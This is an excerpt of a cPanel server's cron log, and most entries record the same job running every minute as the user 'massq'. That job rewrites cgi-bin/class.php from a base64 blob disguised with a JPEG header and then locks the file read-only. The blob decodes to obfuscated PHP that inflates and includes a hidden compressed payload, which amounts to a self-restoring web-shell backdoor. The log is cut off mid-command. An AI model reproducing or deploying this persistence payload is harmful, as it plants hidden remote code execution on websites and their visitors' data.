Nov 13 11:42:01 server CROND[31002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:42:01 server CROND[31003]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:43:01 server CROND[32053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:44:01 server CROND[32678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:45:01 server CROND[467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:45:01 server CROND[468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:45:01 server CROND[469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:46:01 server CROND[1310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:47:01 server CROND[2248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:48:01 server CROND[3139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:49:01 server CROND[3932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:50:01 server CROND[4647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 11:50:01 server CROND[4649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:50:01 server CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:50:01 server CROND[4651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:50:01 server CROND[4653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:51:01 server CROND[5500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:52:01 server CROND[6256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:53:01 server CROND[7136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:54:01 server CROND[7996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:55:01 server CROND[9014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 